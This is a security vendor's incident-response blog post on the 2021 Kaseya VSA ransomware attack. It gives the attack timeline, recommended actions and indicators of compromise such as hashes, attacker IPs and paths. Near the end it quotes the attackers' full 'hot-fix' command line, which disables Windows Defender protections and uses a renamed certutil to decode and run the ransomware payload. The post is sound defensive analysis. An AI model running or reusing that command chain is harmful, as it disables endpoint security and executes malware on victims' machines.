Mitiga at RSAC 2025: Visit our booth, attend our speaking sessions, and schedule a meeting with us!

Background

On Friday July 2, 2021, Kaseya, an IT management software provider, notified its customers of a possible security breach in the Kaseya Virtual System Administrator Product. This has been covered extensively (BleepingComputer, CNET, IT World Canada).  

Kaseya has indicated that the number of victims is in the low 1000’s, even though the number may increase, at least 36,000 Kaseya customers took their servers offline. The attack appears to have the biggest impact in the UK, South Africa, and Canada, but organizations from countries around the world have been compromised.  

Following are details we understand (as of the publish date of this article) and recommendations actions to take.

Impacted Organizations

Group 1: MSPs managing client endpoints using VSA

  • These organizations spread the ransomware to their customers

Group 2: Customers of those MSPs & Group 3: Organizations using VSA to manage their own endpoints

  • Potential victims of the ransomware attack
  • Even if they were not affected yet, there still may be risk
  • The attackers may have leveraged access to steal data or maintain persistent access for future attacks

Timeline

  1. Kaseya VSA management servers, hosted on premise by MSPs, were attacked (using a code injection vulnerability)
  1. Attackers retrieved a list of endpoint agents managed by the compromise server (those agents were scattered among numerous independent businesses served by the MSP)
  1. A malicious binary was distributed to endpoints in an encrypted file named agent.crt. The file was added to TempPath (which resolves to c:\kworking by default). The file was then distributed to client systems as an update called “Kaseya VSA Agent Hot-fix”
  1. The malicious binary was decrypted and executed disabling Key system security features and services
  1. The Encryption begins

Actions to Take

Group 1 & Group 3:

  1. Follow Kaseya instructions regarding shutting down VSA on-premises servers
  1. Inventory clients’ endpoints that have ever run VSA agent on them including time of deployment and agent version
  1. Notify potential victims and recommend they backup critical data

Group 2 & Group 3:  

  1. Activate preventative measure to prevent security software from being disabled on endpoints. For Windows Defender, the following Microsoft-issued documentation can be consulted Protect security settings with tamper protection | Microsoft Docs
  1. Initiate Incident Response driven by the following 3 vectors
  1. Actively block the IOCs and TTP enablers related to the attack; Disable VSA agents
  1. Ensure backup of sensitive data and rotate credentials (Including resetting the password of krbtgt user account in Windows Domain Environments)
  1. Initiate a compromise assessment activity to determine whether a covert breach has happened and validate no lateral movement was conducted to other environments and/or cloud environments

Known IOCs (from Huntress on Reddit ):

Endpoint Indicators of Compromise

  • Ransomware encryptors pushed via the Kaseya VSA agent were dropped in TempPath with the file name agent.crt and decoded to agent.exe. TempPath resolves to c:\kworking\agent.exe by default and is configurable within HKEY_LOCAL_MACHINE\SOFTWARE\WOW6432Node\Kaseya\Agent\<unique id>
  • When agent.exe runs, the legitimate Windows Defender executable MsMpEng.exe and the encryptor payload mpsvc.dll are dropped into the hardcoded path "c:\Windows" to perform DLL sideloading.
  • The mpsvc.dll Sodinokibi DLL creates the registry key HKEY_LOCAL_MACHINE\SOFTWARE\WOW6432Node\BlackLivesMatter which contains several registry values that store encryptor runtime keys/configurations artifacts.
  • agent.crt - MD5: 939aae3cc456de8964cb182c75a5f8cc - Encoded malicious content
  • agent.exe - MD5: 561cffbaba71a6e8cc1cdceda990ead4 - Decoded contents of agent.crt
  • cert.exe - MD5: <random due to appended string> - Legitimate Windows certutil.exe utility
  • mpsvc.dll - MD5: a47cf00aedf769d60d58bfe00c0b5421- REvil encryptor payload

Server Indicators of Compromise (Those are relevant for Group 1 & 3 victims)

  • Attackers uploaded agent.crt and Screenshot.jpg to exploited VSA servers and this activity can be found in KUpload.log (which *may* be wiped by the attackers or encrypted by ransomware if a VSA agent was also installed on the VSA server).
  • A series of GET and POST requests using curl can be found within the KaseyaEdgeServices logs located in %ProgramData%\Kaseya\Log\KaseyaEdgeServices directory with a file name following this modified ISO8601 naming scheme KaseyaEdgeServices-YYYY-MM-DDTHH-MM-SSZ.log.
  • Attackers came from the following IP addresses using the user agent curl/7.69.1:
    18.223.199[.]234 (Amazon Web Services) discovered by Huntress
    161.35.239[.]148 (Digital Ocean) discovered by TrueSec
    35.226.94[.]113 (Google Cloud) discovered by Kaseya
    162.253.124[.]162 (Sapioterra) discovered by Kaseya
    The "Kaseya VSA Agent Hot-fix” procedure ran the following: "C:\WINDOWS\system32\cmd.exe" /c ping 127.0.0.1 -n 4979 > nul & C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Set-MpPreference -DisableRealtimeMonitoring $true -DisableIntrusionPreventionSystem $true -DisableIOAVProtection $true -DisableScriptScanning $true -EnableControlledFolderAccess Disabled -EnableNetworkProtection AuditMode -Force -MAPSReporting Disabled -SubmitSamplesConsent NeverSend & copy /Y C:\Windows\System32\certutil.exe C:\Windows\cert.exe & echo %RANDOM% >> C:\Windows\cert.exe & C:\Windows\cert.exe -decode c:\kworking\agent.crt c:\kworking\agent.exe & del /q /f c:\kworking\agent.crt C:\Windows\cert.exe & c:\kworking\agent.exe
Protecting Your Enterprise Against Today’s Most Dangerous Cyberthreats with Ransomware Readiness

LAST UPDATED:

March 3, 2025

Don't miss these stories:

Tag Your Way In: New Privilege Escalation Technique in GCP

GCP offers fine-grained access control using Identity and access management (IAM) Conditions, allowing organizations to restrict permissions based on context like request time, resource type and resource tags.

Who Touched My GCP Project? Understanding the Principal Part in Cloud Audit Logs – Part 2

This second part of the blog series continues the path to understanding principals and identities in Google Cloud Platform (GCP) Audit Logs. Part one introduced core concepts around GCP logging, the different identity types, service accounts, authentication methods, and impersonation.

Make Cloud Attacks Yesterday’s Problem with Mitiga at RSA Conference 2025

Visit Mitiga at booth number N-4618 at RSA Conference 2025 to learn about cloud detection and response.

Mitiga Cooperates with Law Enforcement on a Global BEC

Mitiga has worked with a law enforcement investigation to prevent criminals from impersonating Office 365 executives and redirecting wire transfers. Learn more.

How Missing Logs Impact Cloud Security

Microsoft experienced an issue with internal monitoring agents, resulting in incomplete logs for some services. Get more details and recommended next steps.

Unlocking Cloud Security with Managed Detection and Response

See how Mitiga’s Cloud Managed Detection and Response tackles complex cyber threats with proactive threat management and advanced automation at scale.